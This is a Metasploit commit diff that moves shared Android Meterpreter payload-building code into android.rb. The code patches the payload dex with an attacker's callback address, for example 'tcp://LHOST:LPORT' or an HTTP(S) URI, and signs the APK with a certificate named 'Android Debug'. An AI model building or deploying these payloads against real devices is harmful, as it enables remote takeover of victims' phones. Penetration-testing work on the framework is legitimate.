Skip to content

Commit b4a1ada

Browse files
committed
refactor into android.rb
1 parent dc43f59 commit b4a1ada

File tree

6 files changed

+64
-105
lines changed

6 files changed

+64
-105
lines changed

lib/msf/core/payload/android.rb

Lines changed: 40 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -36,7 +36,7 @@ def java_string(str)
3636
[str.length].pack("N") + str
3737
end
3838

39-
def apply_options(classes, opts, url)
39+
def apply_options(classes, opts)
4040
timeouts = [
4141
datastore['SessionExpirationTimeout'].to_s,
4242
datastore['SessionCommunicationTimeout'].to_s,
@@ -47,7 +47,15 @@ def apply_options(classes, opts, url)
4747
config = generate_config_hex(opts)
4848
string_sub(classes, 'UUUU' + ' ' * 8191, 'UUUU' + config)
4949
end
50-
string_sub(classes, 'ZZZZ' + ' ' * 512, 'ZZZZ' + url)
50+
if opts[:ssl]
51+
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
52+
datastore['HandlerSSLCert'])
53+
if verify_cert_hash
54+
hash = 'WWWW' + verify_cert_hash.unpack("H*").first
55+
string_sub(classes, 'WWWW ', hash)
56+
end
57+
end
58+
string_sub(classes, 'ZZZZ' + ' ' * 512, 'ZZZZ' + payload_uri)
5159
string_sub(classes, 'TTTT' + ' ' * 48, 'TTTT' + timeouts)
5260
end
5361

@@ -70,11 +78,11 @@ def string_sub(data, placeholder="", input="")
7078
data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length))
7179
end
7280

73-
def generate_cert
81+
def sign_jar(jar)
7482
x509_name = OpenSSL::X509::Name.parse(
75-
"C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=Unknown"
76-
)
77-
key = OpenSSL::PKey::RSA.new(1024)
83+
"C=US/O=Android/CN=Android Debug"
84+
)
85+
key = OpenSSL::PKey::RSA.new(2048)
7886
cert = OpenSSL::X509::Certificate.new
7987
cert.version = 2
8088
cert.serial = 1
@@ -99,7 +107,32 @@ def generate_cert
99107
# If this line is left out, signature verification fails on OSX.
100108
cert.sign(key, OpenSSL::Digest::SHA1.new)
101109

102-
return cert, key
110+
jar.sign(key, cert, [cert])
103111
end
112+
113+
def generate_jar(opts={})
114+
if opts[:stageless]
115+
classes = MetasploitPayloads.read('android', 'meterpreter.dex')
116+
else
117+
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
118+
end
119+
120+
apply_options(classes, opts)
121+
122+
jar = Rex::Zip::Jar.new
123+
files = [
124+
[ "AndroidManifest.xml" ],
125+
[ "resources.arsc" ]
126+
]
127+
jar.add_files(files, MetasploitPayloads.path("android", "apk"))
128+
jar.add_file("classes.dex", fix_dex_header(classes))
129+
jar.build_manifest
130+
131+
sign_jar(jar)
132+
133+
jar
134+
end
135+
136+
104137
end
105138

modules/payloads/singles/android/meterpreter_reverse_http.rb

Lines changed: 6 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -48,6 +48,11 @@ def transport_config(opts={})
4848
end
4949

5050
def generate_jar(opts={})
51+
opts[:stageless] = true
52+
super(opts)
53+
end
54+
55+
def payload_uri(req=nil)
5156
# Default URL length is 30-256 bytes
5257
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
5358
# Generate the short default URL if we don't know available space
@@ -59,23 +64,7 @@ def generate_jar(opts={})
5964
# TODO: perhaps wire in an existing UUID from opts?
6065
url << generate_uri_uuid_mode(:init_connect, uri_req_len)
6166

62-
classes = MetasploitPayloads.read('android', 'meterpreter.dex')
63-
opts[:stageless] = true
64-
apply_options(classes, opts, url)
65-
66-
jar = Rex::Zip::Jar.new
67-
jar.add_file("classes.dex", fix_dex_header(classes))
68-
files = [
69-
[ "AndroidManifest.xml" ],
70-
[ "resources.arsc" ]
71-
]
72-
jar.add_files(files, MetasploitPayloads.path("android", "apk"))
73-
jar.build_manifest
74-
75-
cert, key = generate_cert
76-
jar.sign(key, cert, [cert])
77-
78-
jar
67+
url
7968
end
8069

8170
end

modules/payloads/singles/android/meterpreter_reverse_tcp.rb

Lines changed: 1 addition & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -42,25 +42,8 @@ def transport_config(opts={})
4242
end
4343

4444
def generate_jar(opts={})
45-
jar = Rex::Zip::Jar.new
46-
classes = MetasploitPayloads.read('android', 'meterpreter.dex')
47-
url = "tcp://#{datastore['LHOST']}:#{datastore['LPORT']}"
4845
opts[:stageless] = true
49-
apply_options(classes, opts, url)
50-
51-
jar.add_file("classes.dex", fix_dex_header(classes))
52-
files = [
53-
[ "AndroidManifest.xml" ],
54-
[ "resources.arsc" ]
55-
]
56-
jar.add_files(files, MetasploitPayloads.path("android", "apk"))
57-
jar.build_manifest
58-
59-
cert, key = generate_cert
60-
jar.sign(key, cert, [cert])
61-
62-
jar
46+
super(opts)
6347
end
6448

65-
6649
end

modules/payloads/stagers/android/reverse_http.rb

Lines changed: 9 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -28,7 +28,14 @@ def initialize(info = {})
2828
))
2929
end
3030

31-
def generate_jar(opts={})
31+
#
32+
# Generate the transport-specific configuration
33+
#
34+
def transport_config(opts={})
35+
transport_config_reverse_http(opts)
36+
end
37+
38+
def payload_uri(req=nil)
3239
# Default URL length is 30-256 bytes
3340
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
3441
# Generate the short default URL if we don't know available space
@@ -40,22 +47,7 @@ def generate_jar(opts={})
4047
# TODO: perhaps wire in an existing UUID from opts?
4148
url << generate_uri_uuid_mode(:init_java, uri_req_len)
4249

43-
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
44-
apply_options(classes, opts, url)
45-
46-
jar = Rex::Zip::Jar.new
47-
jar.add_file("classes.dex", fix_dex_header(classes))
48-
files = [
49-
[ "AndroidManifest.xml" ],
50-
[ "resources.arsc" ]
51-
]
52-
jar.add_files(files, MetasploitPayloads.path("android", "apk"))
53-
jar.build_manifest
54-
55-
cert, key = generate_cert
56-
jar.sign(key, cert, [cert])
57-
58-
jar
50+
url
5951
end
6052

6153
end

modules/payloads/stagers/android/reverse_https.rb

Lines changed: 8 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -29,8 +29,13 @@ def initialize(info = {})
2929
end
3030

3131
def generate_jar(opts={})
32+
opts[:ssl] = true
33+
super(opts)
34+
end
35+
36+
def payload_uri(req=nil)
3237
# Default URL length is 30-256 bytes
33-
uri_req_len = 30 + rand(256-30)
38+
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
3439
# Generate the short default URL if we don't know available space
3540
if self.available_space.nil?
3641
uri_req_len = 5
@@ -40,29 +45,8 @@ def generate_jar(opts={})
4045
# TODO: perhaps wire in an existing UUID from opts?
4146
url << generate_uri_uuid_mode(:init_java, uri_req_len)
4247

43-
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
44-
45-
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
46-
datastore['HandlerSSLCert'])
47-
if verify_cert_hash
48-
hash = 'WWWW' + verify_cert_hash.unpack("H*").first
49-
string_sub(classes, 'WWWW ', hash)
50-
end
51-
52-
apply_options(classes, opts, url)
53-
54-
jar = Rex::Zip::Jar.new
55-
jar.add_file("classes.dex", fix_dex_header(classes))
56-
files = [
57-
[ "AndroidManifest.xml" ],
58-
[ "resources.arsc" ]
59-
]
60-
jar.add_files(files, MetasploitPayloads.path("android", "apk"))
61-
jar.build_manifest
48+
url
49+
end
6250

63-
cert, key = generate_cert
64-
jar.sign(key, cert, [cert])
6551

66-
jar
67-
end
6852
end

modules/payloads/stagers/android/reverse_tcp.rb

Lines changed: 0 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -39,26 +39,4 @@ def transport_config(opts={})
3939
transport_config_reverse_tcp(opts)
4040
end
4141

42-
def generate_jar(opts={})
43-
jar = Rex::Zip::Jar.new
44-
45-
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
46-
apply_options(classes, opts, payload_uri)
47-
48-
jar.add_file("classes.dex", fix_dex_header(classes))
49-
50-
files = [
51-
[ "AndroidManifest.xml" ],
52-
[ "resources.arsc" ]
53-
]
54-
55-
jar.add_files(files, MetasploitPayloads.path("android", "apk"))
56-
jar.build_manifest
57-
58-
cert, key = generate_cert
59-
jar.sign(key, cert, [cert])
60-
61-
jar
62-
end
63-
6442
end

0 commit comments

Comments
 (0)